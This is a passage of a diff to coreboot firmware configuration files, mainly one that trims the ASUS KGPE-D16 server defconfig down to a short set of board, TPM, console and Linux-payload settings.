not set -# CONFIG_SUPERIO_ASPEED_HAS_UART_DELAY_WORKAROUND is not set -# CONFIG_SUPERIO_FINTEK_FAN_CONTROL is not set -CONFIG_SUPERIO_WINBOND_COMMON_PRE_RAM=y -CONFIG_SUPERIO_WINBOND_W83667HG_A=y - -# -# Embedded Controllers -# -# CONFIG_EC_GOOGLE_WILCO is not set -# CONFIG_CAVIUM_BDK is not set -# CONFIG_MAINBOARD_HAS_CHROMEOS is not set -# CONFIG_GOOGLE_SMBIOS_MAINBOARD_VERSION is not set -# CONFIG_UEFI_2_4_BINDING is not set -# CONFIG_UDK_2015_BINDING is not set -# CONFIG_UDK_2017_BINDING is not set -# CONFIG_USE_SIEMENS_HWILIB is not set -# CONFIG_ARM_LPAE is not set -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -# CONFIG_ARCH_POSTCAR_X86_32 is not set -CONFIG_ARCH_RAMSTAGE_X86_32=y -# CONFIG_ARCH_BOOTBLOCK_X86_64 is not set -# CONFIG_ARCH_VERSTAGE_X86_64 is not set -# CONFIG_ARCH_ROMSTAGE_X86_64 is not set -# CONFIG_ARCH_POSTCAR_X86_64 is not set -# CONFIG_ARCH_RAMSTAGE_X86_64 is not set -# CONFIG_USE_MARCH_586 is not set -# CONFIG_AP_IN_SIPI_WAIT is not set -# CONFIG_SIPI_VECTOR_IN_ROM is not set -CONFIG_RAMBASE=0xe00000 -CONFIG_RAMTOP=0x1000000 -# CONFIG_CBMEM_TOP_BACKUP is not set -CONFIG_PC80_SYSTEM=y -# CONFIG_BOOTBLOCK_DEBUG_SPINLOOP is not set -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_IOAPIC_INTERRUPTS_ON_FSB=y -# CONFIG_IOAPIC_INTERRUPTS_ON_APIC_SERIAL_BUS is not set -# CONFIG_HPET_ADDRESS_OVERRIDE is not set -CONFIG_HPET_ADDRESS=0xfed00000 -CONFIG_ID_SECTION_OFFSET=0x80 -# CONFIG_VERSTAGE_DEBUG_SPINLOOP is not set -# CONFIG_ROMSTAGE_DEBUG_SPINLOOP is not set -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_BOOTBLOCK_SOURCE="bootblock_simple.c" -CONFIG_ACPI_HAVE_PCAT_8259=y -# CONFIG_PAGING_IN_CACHE_AS_RAM is not set -# CONFIG_IDT_IN_EVERY_STAGE is not set -# CONFIG_PIRQ_ROUTE is not set - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_MAINBOARD_HAS_NATIVE_VGA_INIT=y -CONFIG_MAINBOARD_FORCE_NATIVE_VGA_INIT=y -# CONFIG_MAINBOARD_HAS_LIBGFXINIT is not set -CONFIG_MAINBOARD_DO_NATIVE_VGA_INIT=y -# CONFIG_MULTIPLE_VGA_ADAPTERS is not set - -# -# Display -# -CONFIG_VGA_TEXT_FRAMEBUFFER=y -CONFIG_SMBUS_HAS_AUX_CHANNELS=y -CONFIG_PCI=y -# CONFIG_NO_MMCONF_SUPPORT is not set -CONFIG_MMCONF_SUPPORT=y -CONFIG_HYPERTRANSPORT_PLUGIN_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -# CONFIG_AZALIA_PLUGIN_SUPPORT is not set -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -# CONFIG_EARLY_PCI_BRIDGE is not set -# CONFIG_SOFTWARE_I2C is not set - -# -# Generic Drivers -# -# CONFIG_DRIVERS_AS3722_RTC is not set -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_MAINBOARD_HAS_CRB_TPM is not set -# CONFIG_GIC is not set -CONFIG_IPMI_KCS=y -# CONFIG_DRIVERS_LENOVO_WACOM is not set -# CONFIG_RT8168_GET_MAC_FROM_VPD is not set -# CONFIG_RT8168_SET_LED_MODE is not set -# CONFIG_SMMSTORE_IN_CBFS is not set -CONFIG_SPI_FLASH=y -# CONFIG_SPI_SDCARD is not set -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -# CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY is not set -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_SPI_FLASH_ADESTO=y -CONFIG_SPI_FLASH_AMIC=y -CONFIG_SPI_FLASH_ATMEL=y -CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y -CONFIG_SPI_FLASH_MACRONIX=y -CONFIG_SPI_FLASH_SPANSION=y -CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y -# CONFIG_SPI_FLASH_FAST_READ_DUAL_OUTPUT_3B is not set -# CONFIG_SPI_FLASH_HAS_VOLATILE_GROUP is not set -# CONFIG_HAVE_SPI_CONSOLE_SUPPORT is not set -CONFIG_DRIVERS_UART=y -# CONFIG_DRIVERS_UART_8250IO_SKIP_INIT is not set -# CONFIG_NO_UART_ON_SUPERIO is not set -# CONFIG_UART_OVERRIDE_INPUT_CLOCK_DIVIDER is not set -# CONFIG_UART_OVERRIDE_REFCLK is not set -# CONFIG_DRIVERS_UART_8250MEM is not set -# CONFIG_DRIVERS_UART_8250MEM_32 is not set -# CONFIG_HAVE_UART_SPECIAL is not set -# CONFIG_DRIVERS_UART_OXPCIE is not set -# CONFIG_DRIVERS_UART_PL011 is not set -# CONFIG_UART_USE_REFCLK_AS_INPUT_CLOCK is not set -CONFIG_HAVE_USBDEBUG=y -CONFIG_HAVE_USBDEBUG_OPTIONS=y -# CONFIG_VPD is not set -# CONFIG_DRIVERS_GENERIC_WIFI is not set -# CONFIG_DRIVERS_AMD_PI is not set -CONFIG_DRIVERS_ASPEED_AST2050=y -CONFIG_DRIVERS_ASPEED_AST_COMMON=y -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_I2C_MAX98373 is not set -# CONFIG_DRIVERS_I2C_MAX98927 is not set -# CONFIG_DRIVERS_I2C_PCA9538 is not set -# CONFIG_DRIVERS_I2C_PCF8523 is not set -# CONFIG_DRIVERS_I2C_PTN3460 is not set -# CONFIG_DRIVERS_I2C_RT1011 is not set -# CONFIG_DRIVERS_I2C_RT5663 is not set -# CONFIG_DRIVERS_I2C_RTD2132 is not set -# CONFIG_DRIVERS_I2C_RX6110SA is not set -# CONFIG_DRIVERS_I2C_SX9310 is not set -# CONFIG_MAINBOARD_HAS_I2C_TPM_ATMEL is not set -# CONFIG_MAINBOARD_HAS_I2C_TPM_CR50 is not set -# CONFIG_MAINBOARD_HAS_I2C_TPM_GENERIC is not set -CONFIG_DRIVERS_I2C_W83795=y -# CONFIG_PLATFORM_USES_FSP1_0 is not set -# CONFIG_PLATFORM_USES_FSP2_0 is not set -# CONFIG_PLATFORM_USES_FSP2_1 is not set -# CONFIG_INTEL_DDI is not set -# CONFIG_INTEL_EDID is not set -# CONFIG_INTEL_INT15 is not set -# CONFIG_INTEL_GMA_ACPI is not set -# CONFIG_INTEL_GMA_SSC_ALTERNATE_REF is not set -# CONFIG_INTEL_GMA_SWSMISCI is not set -# CONFIG_DRIVER_INTEL_I210 is not set -# CONFIG_DRIVERS_INTEL_MIPI_CAMERA is not set -# CONFIG_HAVE_INTEL_PTT is not set -# CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS is not set -# CONFIG_DRIVER_MAXIM_MAX77686 is not set -# CONFIG_DRIVER_PARADE_PS8625 is not set -# CONFIG_DRIVER_PARADE_PS8640 is not set -CONFIG_DRIVERS_MC146818=y -CONFIG_LPC_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -CONFIG_MAINBOARD_HAS_LPC_TPM=y -CONFIG_VGA=y -# CONFIG_DRIVERS_RICOH_RCE822 is not set -# CONFIG_DRIVER_SIEMENS_NC_FPGA is not set -# CONFIG_NC_FPGA_NOTIFY_CB_READY is not set -# CONFIG_DRIVERS_SIL_3114 is not set -# CONFIG_MAINBOARD_HAS_SPI_TPM_CR50 is not set -# CONFIG_DRIVER_TI_TPS65090 is not set -# CONFIG_DRIVERS_TI_TPS65913 is not set -# CONFIG_DRIVERS_TI_TPS65913_RTC is not set -# CONFIG_DRIVERS_USB_ACPI is not set -# CONFIG_COMMONLIB_STORAGE is not set - -# -# Security -# - -# -# Verified Boot (vboot) -# - -# -# Trusted Platform Module -# -CONFIG_TPM1=y -# CONFIG_USER_NO_TPM is not set CONFIG_USER_TPM1=y -# CONFIG_USER_TPM2 is not set -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set CONFIG_TPM_RDRESP_NEED_DELAY=y - -# -# Memory initialization -# -# CONFIG_ACPI_SATA_GENERATOR is not set -# CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES is not set -# CONFIG_ACPI_AMD_HARDWARE_SLEEP_VALUES is not set -# CONFIG_BOOT_DEVICE_NOT_SPI_FLASH is not set -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -# CONFIG_BOOT_DEVICE_SUPPORTS_WRITES is not set -# CONFIG_RTC is not set - -# -# Console -# -CONFIG_SQUELCH_EARLY_SMP=y -CONFIG_CONSOLE_SERIAL=y - -# -# I/O mapped, 8250-compatible -# - -# -# Serial port base address = 0x2f8 -# -# CONFIG_CONSOLE_SERIAL_921600 is not set -# CONFIG_CONSOLE_SERIAL_460800 is not set -# CONFIG_CONSOLE_SERIAL_230400 is not set -CONFIG_CONSOLE_SERIAL_115200=y -# CONFIG_CONSOLE_SERIAL_57600 is not set -# CONFIG_CONSOLE_SERIAL_38400 is not set -# CONFIG_CONSOLE_SERIAL_19200 is not set -# CONFIG_CONSOLE_SERIAL_9600 is not set -CONFIG_TTYS0_BAUD=115200 -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -# CONFIG_CONSOLE_SPI_FLASH is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -# CONFIG_CMOS_POST is not set -CONFIG_POST_DEVICE_NONE=y -# CONFIG_POST_DEVICE_LPC is not set -# CONFIG_POST_DEVICE_PCI_PCIE is not set -CONFIG_POST_IO_PORT=0x80 -# CONFIG_NO_EARLY_BOOTBLOCK_POSTCODES is not set -CONFIG_HWBASE_DEBUG_CB=y -CONFIG_HAVE_ROMSTAGE_CONSOLE_SPINLOCK=y -CONFIG_HAVE_ROMSTAGE_NVRAM_CBFS_SPINLOCK=y -CONFIG_HAVE_ROMSTAGE_MICROCODE_CBFS_SPINLOCK=y -# CONFIG_NO_MONOTONIC_TIMER is not set -CONFIG_HAVE_MONOTONIC_TIMER=y -# CONFIG_TIMER_QUEUE is not set -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_PCI_IO_CFG_EXT=y -CONFIG_IOAPIC=y -# CONFIG_USE_WATCHDOG_ON_BOOT is not set -# CONFIG_GFXUMA is not set -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_HAVE_MP_TABLE=y -CONFIG_HAVE_PIRQ_TABLE=y -# CONFIG_COMMON_FADT is not set -# CONFIG_ACPI_NHLT is not set - -# -# System tables -# -CONFIG_GENERATE_MP_TABLE=y -CONFIG_GENERATE_PIRQ_TABLE=y -CONFIG_GENERATE_SMBIOS_TABLES=y -# CONFIG_SMBIOS_PROVIDED_BY_MOBO is not set - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BAYOU is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set CONFIG_PAYLOAD_LINUX=y -# CONFIG_PAYLOAD_TIANOCORE is not set CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set - -# -# Debugging -# - -# -# CPU Debug Settings -# -CONFIG_HAVE_DEBUG_CAR=y -# CONFIG_DEBUG_CAR is not set - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_GDB_STUB is not set -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_RAM_SETUP=y -# CONFIG_DEBUG_RAM_SETUP is not set -# CONFIG_DEBUG_PIRQ is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_TRACE is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -# CONFIG_HAVE_EM100_SUPPORT is not set -CONFIG_ENABLE_APIC_EXT_ID=y -CONFIG_WARNINGS_ARE_ERRORS=y -# CONFIG_POWER_BUTTON_DEFAULT_ENABLE is not set -# CONFIG_POWER_BUTTON_DEFAULT_DISABLE is not set -# CONFIG_POWER_BUTTON_FORCE_ENABLE is not set -# CONFIG_POWER_BUTTON_FORCE_DISABLE is not set -# CONFIG_POWER_BUTTON_IS_OPTIONAL is not set -# CONFIG_REG_SCRIPT is not set -# CONFIG_NO_XIP_EARLY_STAGES is not set -# CONFIG_EARLY_CBMEM_LIST is not set -CONFIG_RELOCATABLE_MODULES=y -CONFIG_NO_STAGE_CACHE=y -CONFIG_BOOTBLOCK_CUSTOM=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-kgpe-d16_server.config b/config/coreboot-kgpe-d16_server.config index d7ef7c27b..40194ca91 100644 --- a/config/coreboot-kgpe-d16_server.config +++ b/config/coreboot-kgpe-d16_server.config @@ -1,709 +1,18 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set CONFIG_USE_OPTION_TABLE=y -# CONFIG_STATIC_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y # CONFIG_COLLECT_TIMESTAMPS is not set -# CONFIG_USE_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_NO_RELOCATABLE_RAMSTAGE=y -# CONFIG_RELOCATABLE_RAMSTAGE is not set -# CONFIG_UPDATE_IMAGE is not set -# CONFIG_BOOTSPLASH_IMAGE is not set CONFIG_MEASURED_BOOT=y - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_ADI is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_ADVANSUS is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set CONFIG_VENDOR_ASUS=y -# CONFIG_VENDOR_AVALUE is not set -# CONFIG_VENDOR_BAP is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_ELMEX is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_ESD is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GIZMOSPHERE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IEI is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_JETWAY is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIPPERT is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_TYAN is not set -# CONFIG_VENDOR_UP is not set -# CONFIG_VENDOR_VIA is not set -CONFIG_BOARD_SPECIFIC_OPTIONS=y -CONFIG_MAINBOARD_DIR="asus/kgpe-d16" -CONFIG_MAINBOARD_PART_NUMBER="KGPE-D16" -CONFIG_MAX_CPUS=32 -CONFIG_CBFS_SIZE=0x1000000 CONFIG_UART_FOR_CONSOLE=1 -CONFIG_MAINBOARD_VENDOR="ASUS" -CONFIG_APIC_ID_OFFSET=0x0 -CONFIG_HW_MEM_HOLE_SIZEK=0x100000 -CONFIG_MAX_PHYSICAL_CPUS=4 -CONFIG_HT_CHAIN_END_UNITID_BASE=0x20 -CONFIG_HT_CHAIN_UNITID_BASE=0x0 -CONFIG_IRQ_SLOT_COUNT=13 -CONFIG_VGA_BIOS_ID="1a03,2000" -CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_DIMM_SPD_SIZE=256 -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x10000 -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="ASUS" -CONFIG_DEVICETREE="devicetree.cb" -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -# CONFIG_BOARD_ASUS_AM1I_A is not set -# CONFIG_BOARD_ASUS_F2A85_M is not set -# CONFIG_BOARD_ASUS_F2A85_M_PRO is not set -# CONFIG_BOARD_ASUS_F2A85_M_LE is not set -# CONFIG_BOARD_ASUS_H61M_CS is not set -# CONFIG_BOARD_ASUS_KCMA_D8 is not set -# CONFIG_BOARD_ASUS_KFSN4_DRE is not set CONFIG_BOARD_ASUS_KGPE_D16=y -# CONFIG_BOARD_ASUS_M4A78_EM is not set -# CONFIG_BOARD_ASUS_M4A785M is not set -# CONFIG_BOARD_ASUS_M4A785TM is not set -# CONFIG_BOARD_ASUS_M5A88_V is not set -# CONFIG_BOARD_ASUS_MAXIMUS_IV_GENE_Z is not set -# CONFIG_BOARD_ASUS_P2B_D is not set -# CONFIG_BOARD_ASUS_P2B_DS is not set -# CONFIG_BOARD_ASUS_P2B_F is not set -# CONFIG_BOARD_ASUS_P2B_LS is not set -# CONFIG_BOARD_ASUS_P2B is not set -# CONFIG_BOARD_ASUS_P3B_F is not set -# CONFIG_BOARD_ASUS_P5GC_MX is not set -# CONFIG_BOARD_ASUS_P5QC is not set -# CONFIG_BOARD_ASUS_P5Q_PRO is not set -# CONFIG_BOARD_ASUS_P5QL_PRO is not set -# CONFIG_BOARD_ASUS_P5QL_EM is not set -# CONFIG_BOARD_ASUS_P5QPL_AM is not set -# CONFIG_BOARD_ASUS_P5G41T_M_LX is not set -# CONFIG_BOARD_ASUS_P8H61_M_LX is not set -# CONFIG_BOARD_ASUS_P8H61_M_PRO is not set -# CONFIG_BOARD_ASUS_P8Z77_M_PRO is not set -CONFIG_POST_IO=y -CONFIG_BOOTBLOCK_MAINBOARD_INIT="mainboard/asus/kgpe-d16/bootblock.c" -CONFIG_DCACHE_RAM_BASE=0xc2000 -CONFIG_DCACHE_RAM_SIZE=0x1e000 -CONFIG_SOUTHBRIDGE_AMD_SB700_SATA_PORT_COUNT_BITFIELD=0x3f -CONFIG_MAX_REBOOT_CNT=10 -CONFIG_OVERRIDE_DEVICETREE="" -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_FMDFILE="" -# CONFIG_VBOOT is not set -CONFIG_MMCONF_BASE_ADDRESS=0xc0000000 -CONFIG_POST_DEVICE=y -CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y -CONFIG_SPI_FLASH_WINBOND=y -CONFIG_TPM_INIT=y # CONFIG_DRIVERS_INTEL_WIFI is not set -CONFIG_DRIVERS_UART_8250IO=y -CONFIG_DIMM_MAX=4 -CONFIG_TPM_PIRQ=0x0 -CONFIG_TTYS0_LCS=3 -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="KGPE-D16" -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 -# CONFIG_USBDEBUG is not set -CONFIG_IPMI_KCS_REGISTER_SPACING=1 -CONFIG_MAINBOARD_VERSION="1.0" CONFIG_DRIVERS_PS2_KEYBOARD=y -CONFIG_PCIEXP_L1_SUB_STATE=y -# CONFIG_NO_POST is not set -CONFIG_SMBIOS_ENCLOSURE_TYPE=0x03 -CONFIG_HEAP_SIZE=0xc0000 -# CONFIG_CONSOLE_POST is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 CONFIG_LINUX_COMMAND_LINE="nohz=on console=ttyS1,115200n8 earlyprintk=ttyS1,115200 quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_2048=y -# CONFIG_COREBOOT_ROMSIZE_KB_64 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_128 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=16384 -CONFIG_ROM_SIZE=0x1000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y -# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set -CONFIG_POWER_STATE_ON_AFTER_FAILURE=y -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 -# CONFIG_SYSTEM_TYPE_LAPTOP is not set -# CONFIG_SYSTEM_TYPE_TABLET is not set -# CONFIG_SYSTEM_TYPE_DETACHABLE is not set -# CONFIG_SYSTEM_TYPE_CONVERTIBLE is not set -# CONFIG_CBFS_AUTOGEN_ATTRIBUTES is not set - -# -# Chipset -# - -# -# SoC -# -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_CPU_ADDR_BITS=48 -CONFIG_MMCONF_BUS_NUMBER=256 -CONFIG_EHCI_BAR=0xfef00000 -CONFIG_SMM_MODULE_STACK_SIZE=0x400 -CONFIG_ACPI_CPU_STRING="\\_PR.CP%02d" -# CONFIG_SOC_CAVIUM_CN81XX is not set -CONFIG_ARCH_ARMV8_EXTENSION=0 -CONFIG_STACK_SIZE=0x1000 -# CONFIG_SOC_CAVIUM_COMMON is not set -# CONFIG_SOC_INTEL_GLK is not set -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_PCIEXP_CLK_PM=y -CONFIG_TTYS0_BASE=0x2f8 -CONFIG_HPET_MIN_TICKS=0x14 -CONFIG_UART_PCI_ADDR=0x0 -# CONFIG_SOC_MEDIATEK_MT8173 is not set -# CONFIG_SOC_MEDIATEK_MT8183 is not set -# CONFIG_SOC_NVIDIA_TEGRA124 is not set -# CONFIG_SOC_NVIDIA_TEGRA210 is not set -# CONFIG_SOC_QUALCOMM_COMMON is not set -# CONFIG_SOC_QC_IPQ40XX is not set -# CONFIG_SOC_QC_IPQ806X is not set -# CONFIG_SOC_QUALCOMM_QCS405 is not set -# CONFIG_SOC_QUALCOMM_SC7180 is not set -# CONFIG_SOC_QUALCOMM_SDM845 is not set -# CONFIG_SOC_ROCKCHIP_RK3288 is not set -# CONFIG_SOC_ROCKCHIP_RK3399 is not set -# CONFIG_CPU_SAMSUNG_EXYNOS5250 is not set -# CONFIG_CPU_SAMSUNG_EXYNOS5420 is not set -# CONFIG_SOC_UCB_RISCV is not set - -# -# CPU -# -CONFIG_CPU_SOCKET_TYPE=0x15 -# CONFIG_EXT_RT_TBL_SUPPORT is not set -CONFIG_CBB=0x0 -CONFIG_CDB=0x18 -CONFIG_XIP_ROM_SIZE=0x80000 -CONFIG_CPU_AMD_SOCKET_G34_NON_AGESA=y -CONFIG_CPU_AMD_MODEL_10XXX=y -CONFIG_USE_LARGE_DCACHE=y -CONFIG_NUM_IPI_STARTS=1 -CONFIG_DCACHE_BSP_TOP_STACK_SIZE=0x4000 -CONFIG_DCACHE_BSP_TOP_STACK_SLUSH=0x4000 -CONFIG_DCACHE_AP_STACK_SIZE=0x500 -CONFIG_SET_FIDVID=y -CONFIG_LIFT_BSP_APIC_ID=y -CONFIG_SET_FIDVID_DEBUG=y -CONFIG_SET_FIDVID_STORE_AP_APICID_AT_FIRST=y -# CONFIG_SET_FIDVID_CORE0_ONLY is not set -CONFIG_SET_FIDVID_CORE_RANGE=0 -CONFIG_UDELAY_LAPIC_FIXED_FSB=200 -# CONFIG_CPU_AMD_AGESA is not set -# CONFIG_CPU_AMD_PI is not set -# CONFIG_CPU_ARMLTD_CORTEX_A9 is not set -CONFIG_SSE2=y -# CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE is not set -# CONFIG_CPU_INTEL_TURBO_NOT_PACKAGE_SCOPED is not set -# CONFIG_CPU_TI_AM335X is not set -CONFIG_PARALLEL_CPU_INIT=y -# CONFIG_PARALLEL_MP is not set -CONFIG_UDELAY_LAPIC=y -# CONFIG_LAPIC_MONOTONIC_TIMER is not set -# CONFIG_UDELAY_TSC is not set -CONFIG_TSC_SYNC_LFENCE=y -# CONFIG_TSC_SYNC_MFENCE is not set -# CONFIG_NO_FIXED_XIP_ROM_SIZE is not set -CONFIG_LOGICAL_CPUS=y -# CONFIG_HAVE_SMI_HANDLER is not set -# CONFIG_NO_SMM is not set -# CONFIG_SMM_ASEG is not set -CONFIG_SMM_TSEG=y -CONFIG_SMM_MODULE_HEAP_SIZE=0x4000 -CONFIG_SMM_STUB_STACK_SIZE=0x400 -# CONFIG_SMM_LAPIC_REMAP_MITIGATION is not set -# CONFIG_SERIALIZED_SMM_INITIALIZATION is not set -CONFIG_X86_AMD_FIXED_MTRRS=y -# CONFIG_X86_AMD_INIT_SIPI is not set -# CONFIG_MIRROR_PAYLOAD_TO_RAM_BEFORE_LOADING is not set -# CONFIG_SOC_SETS_MSRS is not set -CONFIG_CAR_GLOBAL_MIGRATION=y -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -# CONFIG_USES_MICROCODE_HEADER_FILES is not set -# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set 